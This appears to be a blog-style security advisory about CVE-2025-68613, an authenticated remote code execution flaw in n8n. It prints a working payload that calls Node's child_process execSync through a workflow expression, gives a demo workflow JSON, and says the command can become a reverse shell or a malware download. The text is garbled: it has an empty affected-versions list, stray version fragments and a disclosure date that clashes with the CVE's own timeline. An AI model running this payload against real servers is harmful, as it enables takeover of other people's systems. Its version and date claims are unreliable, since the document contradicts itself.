On June 2024, a critical Remote Code Execution (RCE) vulnerability was disclosed affecting n8n, the popular open-source workflow automation platform. This vulnerability, now tracked as CVE-2025-68613, allows an attacker—if authenticated—to run arbitrary code directly on n8n servers by exploiting unsafe expression evaluation in workflow configurations. In this article, we’ll dive into what CVE-2025-68613 is, how the vulnerability works, who is affected, proof-of-concept exploitation, and what steps you must take to secure your n8n deployment.

What Is n8n?

n8n.io is a widely-adopted open-source platform that lets users automate workflows by connecting apps and services. It’s extensible and configured through a web interface, making it incredibly powerful for teams to automate all sorts of business processes.

The Vulnerability

Impacted versions:

Technical Details

n8n lets users write JavaScript-based "expressions" to customize workflow steps. However, a logic error in how n8n isolates the evaluation context for these expressions allowed authenticated users to trigger their evaluation in a less restricted environment — effectively gaining access to the runtime.

What this means:
An attacker, once logged in (even with limited account), can craft a workflow expression that, when evaluated, slices through the intended security barriers and directly executes system-level code with the same privileges as n8n.

Let’s look at a simple proof-of-concept.

Scenario:
A user with workflow creation permissions can set the value of a field (e.g., a Set node’s field) to a dangerous JavaScript expression. This expression runs server-side when the workflow executes.

Example of Malicious Expression

${require('child_process').execSync('id').toString()}

If the workflow is triggered, the above code runs the id command on the server, returning the current user. You can swap id for any shell command — e.g., spawn a reverse shell, download and run malware, or exfiltrate data.

Demo Workflow JSON Snippet

{
  "nodes": [
    {
      "parameters": {
        "values": {
          "string": [
            {
              "name": "output",
              "value": "${require('child_process').execSync('uname -a').toString()}"
            }
          ]
        }
      },
      "name": "Set",
      "type": "n8n-nodes-base.set",
      "typeVersion": 1,
      "position": [450, 300]
    }
  ],
  "connections": {}
}

They use ${ ... } expressions to inject arbitrary Node.js code.

- When n8n runs the workflow, it evaluates these expressions without adequate sandboxing, so the malicious code executes with n8n’s OS permissions.

1.122.

View the official advisory here.
*(Check n8n’s GitHub Security Advisories for specific CVE details)*

➡️ UPGRADE IMMEDIATELY

If you are on a version before 1.120.4 (including all .211.x up to 1.120.x), you’re at risk. Upgrade to the latest patch ASAP.

Use AppArmor or SELinux to further restrict the process.

> *These workarounds do NOT fully remove the risk. They should be considered only while you arrange for a patch.*

Additional Resources

- n8n GitHub Advisory: n8n-io/n8n/security/advisories
- CVE Record: CVE-2025-68613 (NVD) *(when published)*
- n8n Release Notes & Changelog
- n8n Docs: Security

Conclusion

CVE-2025-68613 is a serious security flaw that cuts straight to the core of server-side workflow automation security. If you run n8n, patching this vulnerability is urgent — don’t leave your server exposed to attackers who could take full control of your systems.

Key takeaways:

Harden your deployment until you can patch fully.

For a platform as flexible and extensible as n8n, strong security hygiene (least privilege, regular patching, solid monitoring) is essential. Spread the word—help keep the ecosystem safe.

Timeline

Published on: 12/19/2025 22:23:47 UTC
Last modified on: 01/02/2026 18:28:02 UTC